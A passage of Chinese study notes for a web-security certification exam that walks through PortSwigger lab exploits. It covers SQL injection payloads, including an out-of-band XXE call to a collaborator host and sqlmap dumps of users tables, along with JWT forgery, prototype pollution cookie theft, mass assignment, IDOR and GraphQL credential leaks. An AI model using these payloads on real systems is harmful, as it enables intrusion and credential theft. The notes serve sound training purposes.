>在 ```trackingid``` cookie 或搜索参数 `/search_advanced?searchTerm='` 的末尾放置一个单引号,可能会得到 `500 Internal Server Error` 响应。进行合理的猜测,使用下面的盲SQLi载荷并结合基本的XXE技术,然后向协作服务器发起调用,但不会外泄任何数据。```sql
TrackingId=xxx'+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//OASTIFY.COM/">+%25remote%3b]>'),'/l')+FROM+dual--

附加的 SQLi 载荷,附 XML 作为参考,使用
||SQL 串联运算符来串联两个表达式(求值为两个字符数据类型或数值数据类型),并进行一些混淆。``` '||(select extractvalue(xmltype('%fuzz;]>'),'/l') from dual)||'
[OAST - 带外应用安全测试](https://portswigger.net/burp/application-security-testing/oast)
[PortSwigger 实验室:带外交互的盲 SQL 注入](https://portswigger.net/web-security/sql-injection/blind/lab-out-of-band)
### 盲 SQL 注入条件响应
>这种盲 SQL 注入通过响应中的细微消息差异来***识别***。当发送有效的真 SQL 查询时,响应中包含 ```Welcome back``` 字符串。无效的假 SQL 查询语句不包含响应中的条件消息。```
' AND '1'='1
用于识别响应中不存在条件消息的虚假 SQL 语句。``` ' AND '1'='2
>确定管理员用户的密码中有多少个字符。为此,请在 intruder 的**设置选项卡**中,将 SQL 语句的值改为 and,位置在“Grep - Match”部分。清除列表中的所有现有条目,然后将值 ```Welcome back``` 添加到 ***识别*** 真实条件。```
' AND (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>1)='a
下一步是测试每个位置的字符以确定其值。这涉及数量大得多的请求。``` ' AND (SELECT SUBSTRING(password,2,1) FROM users WHERE username='administrator')='a

>另一种方式是使用 **CLUSTER Bomb** 攻击,并设置 **两个** payload 位置:第一个用于字符位置,payload 为数字 ```1..20```;第二个位置使用字母和数字字符,这将遍历所有 payload 组合的每种排列。

[PortSwigger 实验:基于条件响应的盲 SQL 注入](https://portswigger.net/web-security/sql-injection/blind/lab-conditional-responses)
### Oracle
>通过向 `category` 参数值末尾添加一个**单引号**,并观察到 `500 Internal Server Error` 响应,从而发现了 SQL 注入。
>检索 Oracle 数据库中的表列表:```
'+UNION+SELECT+table_name,NULL+FROM+all_tables--
Oracle payload,用于检索表中列的详细信息。``` '+UNION+SELECT+column_name,NULL+FROM+all_tab_columns+WHERE+table_name='USERS_XXX'--
>用于从 Users_XXX 表中检索用户名和密码的 Oracle 载荷。```
'+UNION+SELECT+USERNAME_XXX,+PASSWORD_XXX+FROM+USERS_XXX--
PortSwigger 实验室:SQL 注入攻击,列出 Oracle 上的数据库内容
在 PortSwigger 实践考试 APP 中,我们通过在高级搜索功能中添加单引号来 识别 SQLi,响应结果为
HTTP/2 500 Internal Server Error。
以下是我关于使用 SQLMAP 示例绕过基础防护 WAF 机制的 HackTheBox CPTS 学习笔记。SQLMAP Essentials - Cases
在对 SQLMAP 版本
1.7.2#stable和1.6进行了一些测试后,我发现两者都能够利用 PortSwigger 实践考试。参考 bmdyy 使用 SQLMAP 完成实践考试 的演练以了解所使用的参数。
我参加了实践考试,并使用以下 payload 成功利用了 SQLi。``` sqlmap -u 'https://TARGET.net/filtered_search?SearchTerm=x&sort-by=DATE&writer=' \ -H 'authority: 0afd007004402dacc1e7220100750051.web-security-academy.net'
-H 'accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7'
-H 'accept-language: en-US,en;q=0.9'
-H 'cookie: _lab=YesYesYesYes; session=YesYesYesYes'
-H 'referer: https://TARGET.net/filtered_search?SearchTerm=x&sort-by=DATE&writer='
-H 'sec-fetch-dest: document'
-H 'sec-fetch-mode: navigate'
-H 'sec-fetch-site: same-origin'
-H 'sec-fetch-user: ?1'
-H 'upgrade-insecure-requests: 1'
-H 'user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.5563.65 Safari/537.36'
-p 'sort-by' -batch --flush-session --dbms postgresql --technique E --level 5

>这也是一个很好的开端:在考试的高级搜索过滤器中,使用 SQLMAP ***识别*** 并从敏感的错误型时间延迟 SQL 注入中提取数据。```
sqlmap -v -u 'https://TARGET.NET/search?term=x&organizeby=DATE&journalist=&cachebust=1656138093.57' -p "term" --batch --cookie="_lab=YESYESYESYES; session=YESYESYESYES" --random-agent --level=2 --risk=2

SQLMAP DBS 用于获取数据库。``` -p 'sort-by' -batch --dbms postgresql --technique E --level 5 --dbs
>使用 SQLMAP 转储从 `public` 数据库中识别出的表。```
-p 'sort-by' -batch --dbms postgresql --technique E --level 5 -D public --tables
继续使用 SQLMAP
E技术获取users内容。``` -p 'sort-by' -batch --dbms postgresql --technique E --level 5 -D public -T users --dump
### 非 Oracle 手动 SQLi
>SQL 注入 UNION 攻击,确定查询返回的**列数**。```SQL
'+UNION+SELECT+NULL,NULL--
确定返回了两列。找到一个包含
text的列,用于回显提取的信息。```SQL '+UNION+SELECT+'fuzzer',NULL--
>接下来***识别***数据库中**表**的列表。```SQL
'+UNION+SELECT+table_name,+NULL+FROM+information_schema.tables--
可选: 从其他表检索数据,使用 payload 下方的代码检索
users表的内容。```SQL '+UNION+SELECT+username,+password+FROM+users--
>检索 ***users*** 表中**列**的名称。```SQL
'+UNION+SELECT+column_name,+NULL+FROM+information_schema.columns+WHERE+table_name='users_XXXX'--
最后一步是从用户名和密码列中转储数据。```SQL '+UNION+SELECT+username_XXXX,+password_XXXX+FROM+users_XXXX--
>**额外:** 如果只能从一个列提取文本数据,那么可以使用数据库中的 SQL 语法 ```||``` 字符,将多个值连接到一个反射输出字段中。```
'+UNION+SELECT+NULL,username||'~'||password+FROM+users--

PortSwigger 实验室:SQL 注入攻击,在非 Oracle 数据库中列出数据库内容
在
TrackingIdCookie 值的末尾添加一个单引号,我们可以根据响应中的消息 识别 并确认 SQL 注入。

这两个载荷验证了管理员记录是第一行记录,然后从数据库的
user表中检索 Administrator 账户的密码,提取自username和password列。``` TrackingId=x'||CAST((SELECT username FROM users LIMIT 1) AS int)--;
TrackingId=x'||CAST((SELECT password FROM users LIMIT 1) AS int)--;
>由于 cookie 值长度限制,payload 通过使用 `limit 1` 缩短,实际 cookie 值替换为单个字母 `x`。SQL 注入使用了 [CAST 函数](https://portswigger.net/web-security/sql-injection/blind)。

[PortSwigger 实验室:基于可见错误的 SQL 注入](https://portswigger.net/web-security/sql-injection/blind/lab-sql-injection-visible-error-based)
-----
## JWT
[通过 JWK 绕过 JWT](#manual-sqli)
[JWT 弱密钥](#jwt-weak-secret)
[JWT kid 标头](#jwt-kid-header)
[JWT 任意 jku 标头](#jwt-arbitrary-jku-header)
>JSON Web 令牌(JWT)用于发送经过加密签名的 JSON 数据,并且最常用于在身份验证、会话处理和访问控制中发送有关用户的信息(“声明”)。
### 通过 JWK 绕过 JWT
>Burp 扫描器将服务器中的漏洞***识别***为**支持 JWT 自签名 JWK 标头**。可通过提供的密钥来源检查失败来利用该漏洞。
>**jwk(JSON Web 密钥)** - 提供一个表示密钥的内嵌 JSON 对象。
>通过 jwk 标头注入进行身份验证绕过的利用步骤:
1. 新建 RSA 密钥
2. 在请求的 JWT payload 中,将 **sub 声明** 的值更改为 administrator
3. 选择 Attack,然后选择带有新生成的 RSA 密钥的 **Embedded JWK**
4. 观察到 ```jwk``` 参数现在包含我们的公钥,发送请求后即可访问管理员门户

[PortSwigger 实验室:通过 jwk 标头注入绕过 JWT 身份验证](https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-jwk-header-injection)
### JWT 弱密钥
>使用 `hashcat` 暴力破解弱 JWT 签名密钥。```bash
hashcat -a 0 -m 16500 <YOUR-JWT> /path/to/jwt.secrets.list
Hashcat 结果提供了该机密,用于生成伪造的签名密钥。
基于 JWT 的会话处理机制。为了验证签名,服务器使用 JWT 标头中的
kid参数从其文件系统中获取相应的密钥。
生成一个新的对称密钥,并将k属性替换为 base64 空字节AA==,供签署 JWT 时使用。
kid(密钥 ID) - 提供一种 ID,服务器可在有多个密钥可供选择时用于识别正确的密钥。
JWS``` { "kid": "../../../../../../../dev/null", "alg": "HS256" }
>载荷```
{
"iss": "portswigger",
"sub": "administrator",
"exp": 1673523674
}

PortSwigger 实验:通过 kid 标头路径遍历绕过 JWT 身份验证
Burp 扫描器识别出漏洞,指出应用程序似乎信任手动插入点中发现的 JWT 的
jku标头。它从该标头中提供的任意 URL 获取公钥,并尝试使用该公钥验证签名。
jku(JSON Web Key Set URL) - 提供一个 URL,服务器可以从该 URL 获取包含正确密钥的密钥集。
利用步骤:上传恶意 JWK 集,然后修改并签名 JWT:
{ "keys": [ ] }。[ paste ] 之间。/admin 请求的 JWT 标头 kid 值中。jku 参数设置为漏洞利用服务器 URL https://exploit-server.net/exploit 的值。sub 声明值更改为 administrator。/admin 请求上,在 JSON Web Token 选项卡底部点击 Sign。RSA signing key。
托管 JWK 公钥内容的漏洞利用服务器。```JSON { "keys": [ { "kty": "RSA", "e": "AQAB", "kid": "3c0171bd-a8cf-45b5-839f-645fa2a57009", "n": "749eJdyiwAYYVV F8tsQ_zu23DhdoePay3JlYXmza9DWDw" } ]}

[PortSwigger 实验室:通过 jku 标头注入绕过 JWT 身份验证](https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-jku-header-injection)
-----
## 原型污染
>攻击者向全局 JavaScript 对象原型添加任意属性,这些属性会被用户定义的对象继承,从而引发客户端 DOM XSS 或服务端代码执行。
[客户端原型](#client-side-proto)
[服务端原型](#server-side-proto)
[DOM Invader 启用原型污染](https://portswigger.net/burp/documentation/desktop/tools/dom-invader/prototype-pollution#enabling-prototype-pollution)
### 客户端原型
>目标容易受到通过客户端原型污染导致的 DOM XSS 攻击。**[DOM Invader](#dom-invader)** 将 ***识别*** gadget,并使用托管的有效载荷对受害者进行钓鱼攻击并窃取其 cookie。
>在 Exploit 服务器的 Body 部分托管一个利用代码,将受害者导航到一个恶意 URL。```html
<script>
location="https://TARGET.NET/#__proto__[hitCallback]=alert%28document.cookie%29"
</script>

上图展示的是正在发送的投递给受害者的网络钓鱼请求。

要识别原型污染,请在以低权限角色身份认证时,在更新用户配置信息的 JSON POST 请求中插入以下内容。
查看 Trevor TJCHacking 关于通过服务端原型污染进行 PrivEsc 的教学视频。```JSON "proto": { "foo":"bar" }

>观察 ```isAdmin``` 属性,并使用下面的 ```__proto__``` 载荷重新发送 POST update account 请求,以将我们的访问角色提升为 Administrator。```JSON
"__proto__": {
"isAdmin":true
}
PortSwigger 实验:通过服务端原型污染实现权限提升
API 执行 GET 请求,紧接着直接执行 POST 请求;在 POST 请求的响应体中注意额外的 JSON 参数,这些参数表明存在隐藏参数字段。 添加诸如
{"admin":true}之类的隐藏字段,可提升为更高权限的用户,或获取用户的敏感信息。
在下面的实验室练习中,电商网站有一个折扣参数,将其值设为 100 即可在结账时免费获得产品。

通过 POST 或 PATCH HTTP 动词请求中的 API 端点隐藏参数进行权限提升。```json { "username": "carlos", "email": "[email protected]", "isAdminLevel": true }
[PortSwigger Lab: 利用批量赋值漏洞](https://portswigger.net/web-security/api-testing/lab-exploiting-mass-assignment-vulnerability)
### API 重置密码参数污染
>请注意,重置密码 API 函数在 POST 请求体中使用 username 参数。要***识别***该 API 函数的额外隐藏参数,请插入随机参数 ```&x=y```,以观察错误消息泄露的肯定结果相关信息。
>对随机参数进行 URL 编码,并将其添加到当前的 POST 请求体参数中:```
username=administrator%26x=y
%3F - ?%3E - >%3D - =%3C - <%3B - ;%2C - ','%28 - (%29 - )%27 - 根据响应,可能存在一个名为
field的第二个参数;查看 JavaScript 源代码,发现存在reset_token参数。

在 POST 请求中添加额外参数
field并赋值为reset_token,会泄露用于重置密码令牌的敏感信息。

浏览目标 URL,添加窃取的重置令牌,并修改 administrator 或 carlos 用户的密码以获取访问权限。
PortSwigger 实验:利用查询字符串中的服务端参数污染
JSON roleid 提权
原始 URL
下拉选择角色
追踪到管理员
HTB 要求我删除 CPTS 技能评估的 write-up - IDOR
对管理员界面的访问控制基于用户角色,这可能导致权限提升或访问控制(IDOR)安全漏洞。
捕获当前登录用户更改邮箱的提交请求并发送到 Intruder,然后在请求的 JSON 主体中添加
"roleid":§32§,并对可能的roleid值进行模糊测试,以寻找管理员访问角色。```html POST /my-account/change-email HTTP/1.1 Host: TARGET.net Cookie: session=vXAA9EM1hzQuJwHftcLHKxyZKtSf2xCW Content-Length: 48 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36 Content-Type: text/plain;charset=UTF-8 Connection: close
{ "csrf":"u4e8f4kc84md743ka04lfos84", "email":"[email protected]", "roleid": 42 }
>《银河系漫游指南》的答案是 [42](https://en.wikipedia.org/wiki/Phrases_from_The_Hitchhiker%27s_Guide_to_the_Galaxy#42_Puzzle)

>攻击者 ***识别*** 出管理员角色的可能角色 ID,然后发送带有更新后的 roleId 的请求,以将当前登录用户权限提升至管理员访问角色。

[PortSwigger 实验:用户角色可在用户配置文件中修改](https://portswigger.net/web-security/access-control/lab-user-role-can-be-modified-in-user-profile)
>参见 [API 批量赋值实验练习](https://github.com/botesjuan/Burp-Suite-Certified-Practitioner-Exam-Study?tab=readme-ov-file#exploiting-a-mass-assignment),通过在 JSON POST 数据中插入额外字段来更改 JSON 值。
### 丢弃选择角色
>提升为管理员有时由角色选择器 GET 请求控制,通过在请求呈现给用户之前 **丢弃** `Please select a role` GET 请求,后端会默认选择 **admin** 角色,从而授予管理员门户的访问权限。

[PortSwigger 实验:通过有缺陷的状态机绕过身份验证](https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-authentication-bypass-via-flawed-state-machine)
### 原始 URL
>管理员门户仅可从内部访问。***识别*** 是否可以使用标头 `X-Original-URL` 绕过访问控制,观察 `/admin` 端点请求根据标头值不同而产生的不同响应。```
X-Original-URL: /admin

PortSwigger 实验室:基于 URL 的访问控制可以被绕过
无法访问
/admin门户,但将 GET 请求改为TRACE /admin后,响应中包含一个X-Custom-IP-Authorization:标头。
使用已识别出的标头来绕过访问控制,进入管理员认证。
```
GET /admin HTTP/2
Host: TARGET.net
X-Custom-Ip-Authorization: 127.0.0.1
Cookie: session=2ybmTxFLPlisA6GZvcw22Mvc29jYVuJm
[PortSwigger 实验室:通过信息泄露绕过身份验证](https://portswigger.net/web-security/information-disclosure/exploiting/lab-infoleak-authentication-bypass)
-----
## GraphQL API
[识别 GraphQL API](#identify-graphql-api)
[GraphQL 泄露凭据](#graphql-reveal-creds)
[GraphQL 暴力破解](#graphql-brute-force)
[GraphQL Voyager 可视化攻击路径](#graphql-voyager)
### 识别 GraphQL API
>要 ***识别*** 是否存在隐藏的 GraphQL API 端点,请向端点发送无效的 GET 请求,观察消息 `Not Found`,但当发送 `/api` 时,响应为 `Query not present`。

>对 GraphQL API 端点进行枚举需要使用通用查询进行测试。
>修改 GET 请求,将查询作为 URL 参数:`/api?query=query{__typename}`。
>以下响应验证了 GraphQL 端点的 ***身份***:```JSON
{
"data": {
"__typename": "query"
}
}
检查 introspection,将新的请求 URL 编码的 introspection 查询作为查询参数。```HTML /api?query=query+IntrospectionQuery+%7B%0D%0A++__schema+%7B%0D%0A++++queryType+%7B%0D%0A++++++name%0D%0A++++%7D%0D%0A++++mutationType+%7B%0D%0A++++++name%0D%0A++++%7D%0D%0A++++subscriptionType+%7B%0D%0A++++++name%0D%0A++++%7D%0D%0A++++types+%7B%0D%0A++++++...FullType%0D%0A++++%7D%0D%0A++++directives+%7B%0D%0A++++++name%0D%0A++++++description%0D%0A++++++args+%7B%0D%0A++++++++...InputValue%0D%0A++++++%7D%0D%0A++++%7D%0D%0A++%7D%0D%0A%7D%0D%0A%0D%0Afragment+FullType+on+__Type+%7B%0D%0A++kind%0D%0A++name%0D%0A++description%0D%0A++fields%28includeDeprecated%3A+true%29+%7B%0D%0A++++name%0D%0A++++description%0D%0A++++args+%7B%0D%0A++++++...InputValue%0D%0A++++%7D%0D%0A++++type+%7B%0D%0A++++++...TypeRef%0D%0A++++%7D%0D%0A++++isDeprecated%0D%0A++++deprecationReason%0D%0A++%7D%0D%0A++inputFields+%7B%0D%0A++++...InputValue%0D%0A++%7D%0D%0A++interfaces+%7B%0D%0A++++...TypeRef%0D%0A++%7D%0D%0A++enumValues%28includeDeprecated%3A+true%29+%7B%0D%0A++++name%0D%0A++++description%0D%0A++++isDeprecated%0D%0A++++deprecationReason%0D%0A++%7D%0D%0A++possibleTypes+%7B%0D%0A++++...TypeRef%0D%0A++%7D%0D%0A%7D%0D%0A%0D%0Afragment+InputValue+on+__InputValue+%7B%0D%0A++name%0D%0A++description%0D%0A++type+%7B%0D%0A++++...TypeRef%0D%0A++%7D%0D%0A++defaultValue%0D%0A%7D%0D%0A%0D%0Afragment+TypeRef+on+__Type+%7B%0D%0A++kind%0D%0A++name%0D%0A++ofType+%7B%0D%0A++++kind%0D%0A++++name%0D%0A++++ofType+%7B%0D%0A++++++kind%0D%0A++++++name%0D%0A++++++ofType+%7B%0D%0A++++++++kind%0D%0A++++++++name%0D%0A++++++%7D%0D%0A++++%7D%0D%0A++%7D%0D%0A%7D%0D%0A

>绕过与 **regex** 过滤器匹配的 introspection 保护,并修改查询,在 `__schema` 之后加入 `%0a` 换行符,然后重新发送。
>将 introspection 响应保存为 `graphql.json`,并从保存的响应文件中移除 HTTP 头,仅保留正文。
>在 InQL Scanner 选项卡中,加载 `graphql.json` 文件并输入以扫描 API 端点。
>展开 schema 的扫描结果,找到 `getUser` 查询。
>在 Repeater 中,将 getUser 查询作为参数复制粘贴,并发送到已发现的 API 端点,但首先要对所有字符进行 URL 编码。
>尝试不同的用户 ID,直到 API 确认 `carlos` 的用户 ID 为 3。

>这会为你提供系统上某个用户的敏感信息,例如登录令牌、登录密码信息等。
[PortSwigger Lab: 查找隐藏的 GraphQL 端点](https://portswigger.net/web-security/graphql/lab-graphql-find-the-endpoint)
### GraphQL 揭示凭据
>拦截发送到目标的登录 POST 请求。***识别***包含用户名和密码的 GraphQL mutation。

>复制 `/graphql/v1` POST 请求的 URL,并粘贴到 ***InQL Scanner*** 选项卡中以扫描 API。

>有一个 getUser 查询会返回用户的用户名和密码。该查询通过直接引用 ID 号来获取相关用户信息。
>通过将 InQL 选项卡中的查询值替换为下面从扫描器发现的 `getuser` 查询来修改请求。
>在 POST JSON 正文中移除 `operationName` 属性和值。

>以管理员身份登录该站点,并访问 Admin 面板。
---
[了解更多](https://github.com/botesjuan/burp-suite-certified-practitioner-exam-study)
'%26 - & 分隔符 不同参数之间%25 - %%24 - $%23 - # 片段标识符%22 - "%2F - /%27 - 反引号